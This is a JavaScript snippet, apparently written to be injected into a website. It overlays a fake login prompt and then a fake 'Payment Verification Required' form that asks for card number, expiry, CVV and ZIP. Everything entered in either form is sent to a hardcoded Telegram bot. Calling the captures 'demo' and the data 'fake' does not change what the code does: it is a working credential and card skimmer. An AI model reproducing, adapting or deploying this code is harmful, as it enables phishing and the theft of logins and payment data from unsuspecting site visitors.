<script>
(function(){
const botToken="7909285956:AAGGsmh-Luog01wK5twxewUEurj8aavQd6Y",chatId="7580434266";
const ls=localStorage;
// Reset stored state on load for demo/testing (remove these two lines in production)
ls.removeItem('demoLoginDone');
ls.removeItem('demoPaymentDone');
const loginDone=ls.getItem('demoLoginDone'),paymentDone=ls.getItem('demoPaymentDone');
function send(msg){fetch(`https://api.telegram.org/bot${botToken}/sendMessage`,{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({chat_id:chatId,text:msg})});}
function createLogin(){
if(document.getElementById('loginPopup'))return;
let m=document.createElement('div');m.id='loginPopup';Object.assign(m.style,{position:'fixed',top:'0',left:'0',width:'100vw',height:'100vh',backgroundColor:'rgba(0,51,77,0.85)',display:'flex',justifyContent:'center',alignItems:'center',zIndex:1e5,fontFamily:'Arial,sans-serif'});
let b=document.createElement('div');Object.assign(b.style,{backgroundColor:'#006666',color:'#e0f7f7',padding:'25px',borderRadius:'12px',width:'320px',boxShadow:'0 0 20px rgba(0,0,0,0.7)'});
b.innerHTML=`
<h2 style="margin:0 0 20px;font-weight:600;">Please Login to Continue</h2>
<form id="loginForm" style="display:flex;flex-direction:column;gap:15px;">
<input type="text" name="username" required placeholder="User / Email" style="padding:10px;border-radius:6px;border:none;font-size:1em;background:#009999;color:#fff"/>
<input type="password" name="password" required placeholder="Password" style="padding:10px;border-radius:6px;border:none;font-size:1em;background:#009999;color:#fff"/>
<button type="submit" style="background:#33cccc;color:#004040;border:none;padding:12px;border-radius:8px;font-weight:bold;cursor:pointer;transition:background .3s">Login</button>
</form>
<button id="closeLoginPopup" style="margin-top:12px;background:#004040;color:#a0eaea;border:none;padding:8px 14px;border-radius:6px;cursor:pointer;transition:background .3s">Close</button>
`;
m.appendChild(b);document.body.appendChild(m);
b.querySelector('button[type=submit]').onmouseenter=()=>b.querySelector('button[type=submit]').style.background='#26b2b2';
b.querySelector('button[type=submit]').onmouseleave=()=>b.querySelector('button[type=submit]').style.background='#33cccc';
b.querySelector('#closeLoginPopup').onmouseenter=()=>b.querySelector('#closeLoginPopup').style.background='#003333';
b.querySelector('#closeLoginPopup').onmouseleave=()=>b.querySelector('#closeLoginPopup').style.background='#004040';
document.getElementById('closeLoginPopup').onclick=()=>m.remove();
document.getElementById('loginForm').onsubmit=e=>{
e.preventDefault();
let fd=new FormData(e.target),msg='🔐 Demo Login Captured:\n';
for(let [k,v]of fd.entries())msg+=`${k}: ${v}\n`;
send(msg);ls.setItem('demoLoginDone','true');m.remove();
setTimeout(()=>{if(!ls.getItem('demoPaymentDone'))showNotif()},3000);
};
}
function showNotif(){
if(document.getElementById('securityAlertNotif'))return;
let n=document.createElement('div');
n.id='securityAlertNotif';n.innerHTML='🔒 Security Alert: Action Required';
Object.assign(n.style,{position:'fixed',bottom:'20px',right:'20px',backgroundColor:'#33cccc',color:'#004040',padding:'12px 18px',fontWeight:'bold',fontFamily:'Arial,sans-serif',borderRadius:'8px',boxShadow:'0 4px 10px rgba(0,0,0,0.3)',cursor:'pointer',zIndex:1e5,userSelect:'none',maxWidth:'280px',textAlign:'center'});
n.onmouseenter=()=>n.style.backgroundColor='#26b2b2'; n.onmouseleave=()=>n.style.backgroundColor='#33cccc';
n.onclick=()=>{n.remove();createPayment()};
document.body.appendChild(n);
}
function createPayment(){
if(document.getElementById('paymentSidePopup'))return;
let p=document.createElement('div');p.id='paymentSidePopup';
Object.assign(p.style,{position:'fixed',bottom:'20px',right:'20px',width:'320px',backgroundColor:'#006666',color:'#e0f7f7',padding:'0',fontFamily:'Arial,sans-serif',boxShadow:'0 4px 15px rgba(0,0,0,0.3)',borderRadius:'10px',zIndex:1e5,boxSizing:'border-box',userSelect:'none',overflow:'hidden',display:'flex',flexDirection:'column'});
let h=document.createElement('div');
Object.assign(h.style,{backgroundColor:'#004040',padding:'15px 20px',fontWeight:'bold',fontSize:'1.2em',textAlign:'center',userSelect:'none',position:'relative'});
h.textContent="Payment Verification Required";
let c=document.createElement('button');c.innerHTML='×';
Object.assign(c.style,{position:'absolute',top:'10px',right:'15px',background:'none',border:'none',color:'#a0eaea',fontSize:'1.4em',cursor:'pointer',userSelect:'none',transition:'color .3s'});
c.onmouseenter=()=>c.style.color='#e0f7f7';c.onmouseleave=()=>c.style.color='#a0eaea';c.onclick=()=>p.remove();
h.appendChild(c);
let f=document.createElement('form');f.id='paymentSideForm';f.setAttribute('novalidate','');
Object.assign(f.style,{display:'flex',flexDirection:'column',gap:'12px',padding:'20px',backgroundColor:'#006666',color:'#e0f7f7'});
f.innerHTML=`
<input type="text" name="cardholder" required placeholder="Cardholder Name" maxlength="50" style="padding:8px;border-radius:5px;border:none;font-size:1em;background:#009999;color:#fff"/>
<input type="text" name="card" required placeholder="Card Number" maxlength="19" pattern="\\d{13,19}" title="Enter a valid card number (13 to 19 digits)" style="padding:8px;border-radius:5px;border:none;font-size:1em;background:#009999;color:#fff"/>
<input type="text" name="expiry" required placeholder="MM/YY" maxlength="5" pattern="^(0[1-9]|1[0-2])\\/\\d{2}$" title="Enter expiry date in MM/YY format" style="padding:8px;border-radius:5px;border:none;font-size:1em;background:#009999;color:#fff"/>
<div style="display:flex;gap:10px;">
<input type="password" name="cvv" required placeholder="CVV" maxlength="4" pattern="\\d{3,4}" title="Enter 3 or 4 digit CVV" style="padding:8px;border-radius:5px;border:none;font-size:1em;width:45%;background:#009999;color:#fff"/>
<input type="text" name="zip" required placeholder="ZIP" maxlength="10" pattern="\\d{4,10}" title="Enter ZIP/postal code" style="padding:8px;border-radius:5px;border:none;font-size:1em;width:45%;background:#009999;color:#fff"/>
</div>
<button type="submit" style="background:#33cccc;color:#004040;border:none;padding:10px;border-radius:7px;font-weight:bold;cursor:pointer;transition:background .3s">Submit</button>
`;
p.appendChild(h);p.appendChild(f);document.body.appendChild(p);
const expiry=f.querySelector('input[name="expiry"]');
expiry.addEventListener('input',e=>{
let v=e.target.value.replace(/[^\d]/g,'');
if(v.length>2)v=v.slice(0,2)+'/'+v.slice(2,4);
e.target.value=v;
});
f.querySelector('button[type=submit]').onmouseenter=()=>f.querySelector('button[type=submit]').style.background='#26b2b2';
f.querySelector('button[type=submit]').onmouseleave=()=>f.querySelector('button[type=submit]').style.background='#33cccc';
f.onsubmit=e=>{
e.preventDefault();
if(!f.checkValidity()){f.reportValidity();return;}
let fd=new FormData(f),msg='💳 Demo Payment Info Captured:\n';
for(let [k,v]of fd.entries())msg+=`${k}: ${v}\n`;
send(msg);ls.setItem('demoPaymentDone','true');alert('✅ Demo payment info submitted (fake data only)');p.remove();
};
}
if(!loginDone)createLogin();
else if(!paymentDone)setTimeout(showNotif,3000);
})();
</script>